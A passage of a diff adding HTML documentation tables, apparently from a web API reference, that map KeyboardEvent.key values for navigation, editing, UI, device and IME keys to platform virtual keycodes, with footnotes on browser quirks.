+    <code>KEYCODE_DPAD_CENTER</code> (23)</td>
+  </tr>
+  <tr>
+   <td><code>"Tab"</code></td>
+   <td>The Horizontal Tab key, <kbd>Tab</kbd>.</td>
+   <td><code>VK_TAB</code> (0x09)</td>
+   <td><code>kVK_Tab</code> (0x30)</td>
+   <td><code><code>GDK_KEY_Tab</code> (0xFF09)</code><br>
+    <code><code>GDK_KEY_KP_Tab</code> (0xFF89)<br>
+    GDK_KEY_ISO_Left_Tab</code> (0xFE20)<br>
+    <code>Qt::Key_Tab</code> (0x01000001)</td>
+   <td><code>KEYCODE_TAB</code> (61)</td>
+  </tr>
+  <tr>
+   <td><code>" "</code> [1]</td>
+   <td>The space key, <kbd>Space Bar</kbd>.</td>
+   <td><code>VK_SPACE</code> (0x20)</td>
+   <td><code>kVK_Space</code> (0x31)</td>
+   <td>
+    <p><code>GDK_KEY_space</code> (0x20)<br>
+     <code>GDK_KEY_KP_Space</code> (0xFF80)<br>
+     <code>Qt::Key_Space</code> (0x20)</p>
+   </td>
+   <td><code>KEYCODE_SPACE</code> (62)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Older browsers may return "Spacebar" instead of " " for the <kbd>Space Bar</kbd> key. Firefox did so until version 37, as did Internet Explorer 9, 10, and 11.</p>
+
+<h2 id="Navigation_keys">Navigation keys</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"ArrowDown"</code> [1]</td>
+   <td>The down arrow key.</td>
+   <td><code>VK_DOWN</code> (0x28)</td>
+   <td><code>kVK_DownArrow</code> (0x7D)</td>
+   <td><code>GDK_KEY_Down</code> (0xFF54)<br>
+    <code>GDK_KEY_KP_Down</code> (0xFF99)<br>
+    <code>Qt::Key_Down</code> (0x01000015)</td>
+   <td><code>KEYCODE_DPAD_DOWN</code> (20)</td>
+  </tr>
+  <tr>
+   <td><code>"ArrowLeft"</code> [1]</td>
+   <td>The left arrow key.</td>
+   <td><code>VK_LEFT</code> (0x25)</td>
+   <td><code>kVK_LeftArrow</code> (0x7B)</td>
+   <td><code>GDK_KEY_Left</code> (0xFF51)<br>
+    <code>GDK_KEY_KP_Left</code> (0xFF96)<br>
+    <code>Qt::Key_Left</code> (0x01000012)</td>
+   <td><code>KEYCODE_DPAD_LEFT</code> (21)</td>
+  </tr>
+  <tr>
+   <td><code>"ArrowRight"</code> [1]</td>
+   <td>The right arrow key.</td>
+   <td><code>VK_RIGHT</code> (0x27)</td>
+   <td><code>kVK_RightArrow</code> (0x7C)</td>
+   <td><code>GDK_KEY_Right</code> (0xFF53)<br>
+    <code>GDK_KEY_KP_Right</code> (0xFF98)<br>
+    <code>Qt::Key_Right</code> (0x01000014)</td>
+   <td><code>KEYCODE_DPAD_RIGHT</code> (22)</td>
+  </tr>
+  <tr>
+   <td><code>"ArrowUp"</code> [1]</td>
+   <td>The up arrow key.</td>
+   <td><code>VK_UP</code><code> (0x26)</code></td>
+   <td><code>kVK_UpArrow</code> (0x7E)</td>
+   <td><code>GDK_KEY_Up</code> (0xFF52)<br>
+    <code>GDK_KEY_KP_Up</code> (0xFF97)<br>
+    <code>Qt::Key_Up</code> (0x01000013)</td>
+   <td><code>KEYCODE_DPAD_UP</code> (19)</td>
+  </tr>
+  <tr>
+   <td><code>"End"</code></td>
+   <td>The <kbd>End</kbd> key. Moves to the end of content.</td>
+   <td><code>VK_END</code> (0x23)</td>
+   <td><code>kVK_End</code> (0x77)</td>
+   <td><code>GDK_KEY_End</code> (0xFF57)<br>
+    <code>GDK_KEY_KP_End</code> (0xFF9C)<br>
+    <code>Qt::Key_End</code> (0x01000011)</td>
+   <td><code>KEYCODE_MOVE_END</code> (123)</td>
+  </tr>
+  <tr>
+   <td><code>"Home"</code></td>
+   <td>The <kbd>Home</kbd> key. Moves to the start of content.</td>
+   <td><code>VK_HOME</code> (0x24)</td>
+   <td><code>kVK_Home</code> (0x73)</td>
+   <td><code>GDK_KEY_Home</code> (0xFF50)<br>
+    <code>GDK_KEY_KP_Home</code> (0xFF95)<br>
+    <code>Qt::Key_Home</code> (0x01000010)</td>
+   <td><code>KEYCODE_MOVE_HOME</code> (122)</td>
+  </tr>
+  <tr>
+   <td><code>"PageDown"</code></td>
+   <td>The <kbd>Page Down</kbd> (or <kbd>PgDn</kbd>) key. Scrolls down or displays the next page of content.</td>
+   <td><code>VK_NEXT</code> (0x22)</td>
+   <td><code>kVK_PageDown</code><code> (0x79)</code></td>
+   <td><code>GDK_KEY_Page_Down</code> (0xFF56)<br>
+    <code>GDK_KEY_KP_Page_Down</code> (0xFF9B)<br>
+    <code>Qt::Key_PageDown</code> (0x01000017)</td>
+   <td><code>KEYCODE_PAGE_DOWN</code> (93)</td>
+  </tr>
+  <tr>
+   <td><code>"PageUp"</code></td>
+   <td>The <kbd>Page Up</kbd> (or <kbd>PgUp</kbd>) key. Scrolls up or displays the previous page of content.</td>
+   <td><code>VK_PRIOR</code> (0x21)</td>
+   <td><code>kVK_PageUp</code> (0x74)</td>
+   <td><code>GDK_KEY_Page_Up</code> (0xFF55)<br>
+    <code>GDK_KEY_KP_Page_Up</code> (0xFF9A)<br>
+    <code>Qt::Key_PageUp</code> (0x01000016)</td>
+   <td><code>KEYCODE_PAGE_UP</code> (92)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Internet Explorer, Edge (16 and earlier), and Firefox (36 and earlier) use "Left", "Right", "Up", and "Down" instead of "ArrowLeft", "ArrowRight", "ArrowUp", and "ArrowDown".</p>
+
+<h2 id="Editing_keys">Editing keys</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Backspace"</code></td>
+   <td>The <kbd>Backspace</kbd> key. This key is labeled <kbd>Delete</kbd> on Mac keyboards.</td>
+   <td><code>VK_BACK</code> (0x08)</td>
+   <td><code>kVK_Delete</code> (0x33)</td>
+   <td><code>GDK_KEY_BackSpace</code> (0xFF08)<br>
+    <code>Qt::Key_Backspace</code> (0x01000003)</td>
+   <td><code>KEYCODE_DEL</code> (67)</td>
+  </tr>
+  <tr>
+   <td><code>"Clear"</code></td>
+   <td>The <kbd>Clear</kbd> key. Removes the currently selected input.</td>
+   <td><code>VK_CLEAR</code> (0x0C)<br>
+    <code>VK_OEM_CLEAR</code> (0xFE)</td>
+   <td><code>kVK_ANSI_KeypadClear</code> (0x47)</td>
+   <td><code>GDK_KEY_Clear</code> (0xFF0B)<br>
+    <code>Qt::Key_Clear</code> (0x0100000B)</td>
+   <td><code>KEYCODE_CLEAR</code> (28)</td>
+  </tr>
+  <tr>
+   <td><code>"Copy"</code></td>
+   <td>The <kbd>Copy</kbd> key (on certain extended keyboards).</td>
+   <td><code>APPCOMMAND_COPY</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Copy</code> (0x1008FF57)<br>
+    <code>Qt::Key_Copy</code> (0x010000CF)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"CrSel"</code> [3]</td>
+   <td>The Cursor Select key, <kbd>CrSel</kbd>.</td>
+   <td><code>VK_CRSEL</code> (0xF7)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_CursorSelect</code> (0xFD1C)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Cut"</code></td>
+   <td>The <kbd>Cut</kbd> key (on certain extended keyboards).</td>
+   <td><code>APPCOMMAND_CUT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Cut</code> (0x1008FF58)<br>
+    <code>Qt::Key_Cut</code> (0x010000D0)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Delete"</code> [2]</td>
+   <td>The Delete key, <kbd>Del</kbd>.</td>
+   <td><code>VK_DELETE</code> (0x2E)</td>
+   <td><code>kVK_ForwardDelete</code> (0x75) [1]</td>
+   <td><code>GDK_KEY_Delete</code> (0xFFFF)<br>
+    <code>GDK_KEY_KP_Delete</code> (0xFF9F)<br>
+    <code>Qt::Key_Delete</code> (0x01000007)</td>
+   <td><code>KEYCODE_FORWARD_DEL</code> (112)</td>
+  </tr>
+  <tr>
+   <td><code>"EraseEof"</code></td>
+   <td>Erase to End of Field. Deletes all characters from the current cursor position to the end of the current field.</td>
+   <td><code>VK_EREOF</code> (0xF9)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_ExSelect</code> (0xFD1B)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ExSel"</code> [4]</td>
+   <td>The <kbd>ExSel</kbd> (Extend Selection) key.</td>
+   <td><code>VK_EXSEL</code> (0xF8)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_ExSelect</code> (0xFD1B)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Insert"</code></td>
+   <td>The Insert key, <kbd>Ins</kbd>. Toggles  between inserting and overwriting text.</td>
+   <td><code>VK_INSERT</code> (0x2D)</td>
+   <td></td>
+   <td><code>GDK_KEY_Insert</code> (0xFF63)<br>
+    <code>GDK_KEY_KP_Insert</code> (0xFF9E)<br>
+    <code>Qt::Key_Insert</code> (0x01000006)</td>
+   <td><code>KEYCODE_INSERT</code> (124)</td>
+  </tr>
+  <tr>
+   <td><code>"Paste"</code></td>
+   <td>Paste from the clipboard.</td>
+   <td><code>APPCOMMAND_PASTE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Paste</code> (0x1008FF6D)<br>
+    <code>Qt::Key_Paste</code> (0x010000E2)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Redo"</code></td>
+   <td>Redo the last action.</td>
+   <td><code>APPCOMMAND_REDO</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Redo</code> (0xFF66)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Undo"</code></td>
+   <td>Undo the last action.</td>
+   <td><code>APPCOMMAND_UNDO</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Undo</code> (0xFF65)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] On keyboards without a dedicated <kbd>Del</kbd> key, the Mac generates the <code>"Delete"</code> value when <kbd>Fn</kbd> is pressed in tandem with <kbd>Delete</kbd> (which is <kbd>Backspace</kbd> on other platforms).</p>
+
+<p>[2] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier use "Del" instead of "Delete" for the <kbd>Del</kbd> key.</p>
+
+<p>[3] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier generate the value <code>"Crsel"</code> instead of <code>"CrSel"</code> when the <kbd>CrSel</kbd> key is pressed.</p>
+
+<p>[4] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier generate the value <code>"Exsel"</code> instead of <code>"ExSel"</code> when the <kbd>ExSel</kbd> key is pressed.</p>
+
+<h2 id="UI_keys">UI keys</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Accept"</code></td>
+   <td>The <kbd>Accept</kbd>, <kbd>Commit</kbd>, or <kbd>OK</kbd> key or button. Accepts the currently selected option or input method sequence conversion.</td>
+   <td><code>VK_ACCEPT</code> (0x1E)</td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_DPAD_CENTER</code> (23)</td>
+  </tr>
+  <tr>
+   <td><code>"Again"</code></td>
+   <td>The <kbd>Again</kbd> key. Redoes or repeats a previous action.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Redo</code> (0xFF66)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Attn"</code> [4]</td>
+   <td>The <kbd>Attn</kbd> (Attention) key.</td>
+   <td><code>VK_OEM_ATTN</code> (0xF0)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_Attn</code> (0xFD0E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Cancel"</code> [1]</td>
+   <td>The <kbd>Cancel</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Cancel</code> (0xFF69)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ContextMenu"</code> [3]</td>
+   <td>Shows the context menu. Typically found between the <kbd>Windows</kbd> (or <kbd>OS</kbd>) key and the <kbd>Control</kbd> key on the right side of the keyboard.</td>
+   <td><code>VK_APPS</code> (0x5D)</td>
+   <td><code>kVK_PC_ContextMenu</code> (0x6E)</td>
+   <td><code>GDK_KEY_Menu</code> (0xFF67)<br>
+    <code>Qt::Key_Menu</code> (0x01000055)</td>
+   <td><code>KEYCODE_MENU</code> (82)</td>
+  </tr>
+  <tr>
+   <td><code>"Escape"</code> [2]</td>
+   <td>The <kbd>Esc</kbd> (Escape) key. Typically used as an exit, cancel, or "escape this operation" button. Historically, the Escape character was used to signal the start of a special control sequence of characters called an "escape sequence."</td>
+   <td><code>VK_ESCAPE</code> (0x1B)</td>
+   <td><code>kVK_Escape</code> (0x35)</td>
+   <td><code>GDK_KEY_Escape</code> (0xFF1B)<br>
+    <code>Qt::Key_Escape</code> (0x01000000)</td>
+   <td><code>KEYCODE_ESCAPE</code> (111)</td>
+  </tr>
+  <tr>
+   <td><code>"Execute"</code></td>
+   <td>The <kbd>Execute</kbd> key.</td>
+   <td><code>VK_EXECUTE</code> (0x2B)</td>
+   <td></td>
+   <td><code>Qt::Key_Execute</code> (0x01020003)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Find"</code></td>
+   <td>The <kbd>Find</kbd> key. Opens an interface (typically a dialog box) for performing a find/search operation.</td>
+   <td><code>APPCOMMAND_FIND</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Find</code> (0xFF68)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Finish"</code> [5]</td>
+   <td>The <kbd>Finish</kbd> key.</td>
+   <td><code>VK_OEM_FINISH</code> (0xF1)</td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Help"</code></td>
+   <td>The <kbd>Help</kbd> key. Opens or toggles the display of help information.</td>
+   <td><code>VK_HELP</code> (0x2F)<br>
+    <code>APPCOMMAND_HELP</code></td>
+   <td><code>kVK_Help</code> (0x72)</td>
+   <td><code>GDK_KEY_Help</code> (0xFF6A)<br>
+    <code>Qt::Key_Help</code> (0x01000058)</td>
+   <td><code>KEYCODE_HELP</code> (259)</td>
+  </tr>
+  <tr>
+   <td><code>"Pause"</code></td>
+   <td>The <kbd>Pause</kbd> key. Pauses the current application or state, if applicable.
+    <div class="note">This shouldn't be confused with the <code>"MediaPause"</code> key value, which is used for media controllers, rather than to control applications and processes.</div>
+   </td>
+   <td><code>VK_PAUSE</code> (0x13)</td>
+   <td></td>
+   <td><code>GDK_KEY_Pause</code> (0xFF13)<br>
+    <code>GDK_KEY_Break</code> (0xFF6B)<br>
+    <code>Qt::Key_Pause</code> (0x01000008)</td>
+   <td><code>KEYCODE_BREAK</code> (121)</td>
+  </tr>
+  <tr>
+   <td><code>"Play"</code></td>
+   <td>The <kbd>Play</kbd> key. Resumes a previously paused application, if applicable.
+    <div class="note">This shouldn't be confused with the <code>"MediaPlay"</code> key value, which is used for media controllers, rather than to control applications and processes.</div>
+   </td>
+   <td><code>VK_PLAY</code> (0xFA)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_Play</code> (0xFD16)<br>
+    <code>Qt::Key_Play</code> (0x01020005)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Props"</code></td>
+   <td>The <kbd>Props</kbd> (Properties) key.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Select"</code></td>
+   <td>The <kbd>Select</kbd> key.</td>
+   <td><code>VK_SELECT</code> (0x29)</td>
+   <td></td>
+   <td><code>GDK_KEY_Select</code> (0xFF60)</td>
+   <td><code>KEYCODE_BUTTON_SELECT</code> (109)</td>
+  </tr>
+  <tr>
+   <td><code>"ZoomIn"</code> [6]</td>
+   <td>The <kbd>ZoomIn</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ZoomIn</code> (0x1008FF8B)<br>
+    <code>Qt::Key_ZoomIn</code> (0x010000F6)</td>
+   <td><code>KEYCODE_ZOOM_IN</code> (168)</td>
+  </tr>
+  <tr>
+   <td><code>"ZoomOut"</code> [6]</td>
+   <td>The <kbd>ZoomOut</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ZoomOut</code> (0x1008FF8C)<br>
+    <code>Qt::Key_ZoomOut</code> (0x010000F7)</td>
+   <td><code>KEYCODE_ZOOM_OUT</code> (169)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] In Google Chrome 52, the <kbd>Cancel</kbd> key incorrectly returns the key code <code>"Pause"</code>. This is fixed in Chrome 53. See <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612749">Chrome bug 612749</a> for details.</p>
+
+<p>[2] In Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier, the <kbd>Esc</kbd> key returns <code>"Esc"</code> instead of <code>"Escape"</code>.</p>
+
+<p>[3] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier report <code>"Apps"</code> instead of <code>"ContextMenu"</code> for the context menu key.</p>
+
+<p>[4] The <kbd>Attn</kbd> key generates the key code <code>"Unidentified"</code> on Internet Explorer (tested on release 9 and 11). Firefox and Google Chrome report the same, unless the Japanese keyboard layout is in effect, in which case it generates <code>"KanaMode"</code> instead.</p>
+
+<p>[5] The <kbd>Finish</kbd> key gemerates the key code <code>"Unidentified"</code> on Internet Explorer (tested on release 9 and 11). Firefox reports the same, unless the Japanese keyboard layout is in effect, in which case it generates <code>"Katakana"</code> instead.</p>
+
+<p>[6] Firefox didn't support the <code>"ZoomIn"</code> and <code>"ZoomOut"</code> keys until Firefox 37.</p>
+
+<h2 id="Device_keys">Device keys</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"BrightnessDown"</code></td>
+   <td>The Brightness Down key. Typically used to reduce the brightness of the display.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_MonBrightnessDown</code> (0x1008FF03)<br>
+    <code>Qt::Key_MonBrightnessDown</code> (0x010000B3)</td>
+   <td><code>KEYCODE_BRIGHTNESS_DOWN</code> (220)</td>
+  </tr>
+  <tr>
+   <td><code>"BrightnessUp"</code></td>
+   <td>The Brightness Up key. Typically increases the brightness of the display.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_MonBrightnessUp</code> (0x1008FF02)<br>
+    <code>Qt::Key_MonBrightnessUp</code> (0x010000B2)</td>
+   <td><code>KEYCODE_BRIGHTNESS_UP</code> (221)</td>
+  </tr>
+  <tr>
+   <td><code>"Eject"</code></td>
+   <td>The <kbd>Eject</kbd> key. Ejects removable media (or toggles an optical storage device tray open and closed).</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Eject</code> (0x1008FF2C)<br>
+    <code>Qt::Key_Eject</code> (0x010000B9)</td>
+   <td><code>KEYCODE_MEDIA_EJECT</code> (129)</td>
+  </tr>
+  <tr>
+   <td><code>"LogOff"</code> [2]</td>
+   <td>The <kbd>LogOff</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LogOff</code> (0x1008FF61)<br>
+    <code>Qt::Key_LogOff</code> (0x010000D9)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Power"</code></td>
+   <td>The <kbd>Power</kbd> button or key, to toggle power on and off.
+    <div class="note">Not all systems pass this key through to to the user agent.</div>
+   </td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_POWER</code> (26)</td>
+  </tr>
+  <tr>
+   <td><code>"PowerOff"</code></td>
+   <td>The <kbd>PowerOff</kbd> or <kbd>PowerDown</kbd> key. Shuts off the system.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_PowerDown</code> (0x1008FF21)<br>
+    <code>GDK_KEY_PowerOff</code> (0x1008FF2A)<br>
+    <code>Qt::Key_PowerDown</code> (0x0100010B)<br>
+    <code>Qt::Key_PowerOff</code> (0x010000B7)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PrintScreen"</code></td>
+   <td>The <kbd>PrintScreen</kbd> or <kbd>PrtScr</kbd> key. Sometimes <kbd>SnapShot</kbd>. Captures the screen and prints it or saves it to disk.</td>
+   <td><code>VK_SNAPSHOT</code> (0x2C)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_PrintScreen</code> (0xFD1D)<br>
+    <code>GDK_KEY_Print</code> (0xFF61)<br>
+    <code>GDK_KEY_Sys_Req</code> (0xFF15)<br>
+    <code>Qt::Key_Print</code> (0x01000009)<br>
+    <code>Qt::Key_SysReq</code> (0x0100000A)</td>
+   <td><code>KEYCODE_SYSRQ</code> (120)</td>
+  </tr>
+  <tr>
+   <td><code>"Hibernate"</code> [2]</td>
+   <td>The <kbd>Hibernate</kbd> key. This saves the state of the computer to disk and then shuts down; the computer can be returned to its previous state by restoring the saved state information.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Hibernate</code> (0x1008FFA8)<br>
+    <code>Qt::Key_Hibernate</code> (0x01000108)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Standby"</code> [1]</td>
+   <td>The <kbd>Standby</kbd> key; also known as <kbd>Suspend</kbd> or <kbd>Sleep</kbd>. This turns off the display and puts the computer in a low power consumption mode, without completely powering off.</td>
+   <td><code>VK_SLEEP</code> (0x5F)</td>
+   <td></td>
+   <td><code>GDK_KEY_Standby</code> (0x1008FF10)<br>
+    <code>GDK_KEY_Suspend</code> (0x1008FFA7)<br>
+    <code>GDK_KEY_Sleep</code> (0x1008FF2F)<br>
+    <code>Qt::Key_Standby</code> (0x01000093)<br>
+    <code>Qt::Key_Suspend</code> (0x0100010C)<br>
+    <code>Qt::Key_Sleep</code> (0x01020004)</td>
+   <td><code>KEYCODE_SLEEP</code> (223)</td>
+  </tr>
+  <tr>
+   <td><code>"WakeUp"</code> [2]</td>
+   <td>The <kbd>WakeUp</kbd> key; used to wake the computer from the hibernation or standby modes.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_WakeUp</code> (0x1008FF2B)<br>
+    <code>Qt::Key_WakeUp</code> (0x010000B8)</td>
+   <td><code>KEYCODE_WAKEUP</code> (224)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] The <kbd>Standby</kbd> key is not supported by Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier, so it is reported as <code>"Unidentified"</code>.</p>
+
+<p>[2] Prior to Firefox 37, this key generated the value <code>"Unidentified"</code>.</p>
+
+<h2 id="IME_and_composition_keys">IME and composition keys</h2>
+
+<p>Keys used when using an Input Method Editor (IME) to input text which can't readily be entered by simple keypresses, such as text in languages such as those which have more graphemes than there are character entry keys on the keyboard; common examples include Chinese, Japanese, Korean, and Hindi.</p>
+
+<p>Some keys are common across multiple languages, while others exist only on keyboards targeting specific languages. In addition, not all keyboards have all of these keys.</p>
+
+<h4 id="Common_IME_keys">Common IME keys</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"AllCandidates"</code></td>
+   <td>The <kbd>All Candidates</kbd> key, which starts multi-candidate mode, in which multiple candidates are displayed for the ongoing input.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_MultipleCandidate</code> (0xFF3D<br>
+    <code>Qt::Key_MultipleCandidate</code> (0x0100113D)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Alphanumeric"</code></td>
+   <td>The <kbd>Alphanumeric</kbd> key.</td>
+   <td><code>VK_OEM_ATTN</code> (0xF0)</td>
+   <td></td>
+   <td><code>GDK_KEY_Eisu_Shift</code> (0xFF2F)<br>
+    <code>GDK_KEY_Eisu_toggle</code> (0xFF30)<br>
+    <code>Qt::Key_Eisu_Shift</code> (0x0100112f)<br>
+    <code>Qt::Key_Eisu_toggle</code> (0x01001130)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"CodeInput"</code></td>
+   <td>The <kbd>Code Input</kbd> key, which enables code input mode, which lets the user enter characters by typing their code points (their Unicode character numbers, typically).</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Codeinput</code> (0xFF37)<br>
+    <code>Qt::Key_Codeinput</code> (0x01001137)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Compose"</code></td>
+   <td>The <kbd>Compose</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Multi_key</code> (0xFF20) [1]<br>
+    <code>Qt::Key_Multi_key</code> (0x01001120)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Convert"</code> [4]</td>
+   <td>The <kbd>Convert</kbd> key, which instructs the IME to convert the current input method sequence into the resulting character.</td>
+   <td><code>VK_CONVERT</code> (0x1C)</td>
+   <td></td>
+   <td><code>GDK_KEY_Henkan</code> (0xFF23)<br>
+    <code>Qt::Key_Henkan</code> (0x01001123)</td>
+   <td><code>KEYCODE_HENKAN</code> (214)</td>
+  </tr>
+  <tr>
+   <td><code>"Dead"</code></td>
+   <td>A dead "combining" key; that is, a key which is used in tandem with other keys to generate accented and other modified characters. If pressed by itself, it doesn't generate a character. If you wish to identify which specific dead key was pressed (in cases where more than one exists), you can do so by examining the {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's  {{domxref("CompositionEvent.data", "data")}} property.</td>
+   <td></td>
+   <td></td>
+   <td>See {{anch("Dead keycodes for Linux")}} below</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FinalMode"</code></td>
+   <td>The <kbd>Final</kbd> (Final Mode) key is used on some Asian keyboards to enter final mode when using IMEs.</td>
+   <td><code>VK_FINAL</code> (0x18)</td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GroupFirst"</code></td>
+   <td>Switches to the first character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>. Each key may have multiple groups of characters, each in its own column. Pressing this key instructs the device to interpret keypresses as coming from the first column on subsequent keystrokes.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ISO_First_Group</code> (0xFE0C)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GroupLast"</code></td>
+   <td>Switches to the last character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ISO_Last_Group</code> (0xFE0E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GroupNext"</code> [4]</td>
+   <td>Switches to the next character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ISO_Next_Group</code> (0xFE08)</td>
+   <td><code>KEYCODE_LANGUAGE_SWITCH</code> (204)</td>
+  </tr>
+  <tr>
+   <td><code>"GroupPrevious"</code></td>
+   <td>Switches to the previous character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>.</td>
+   <td></td>
+   <td></td>
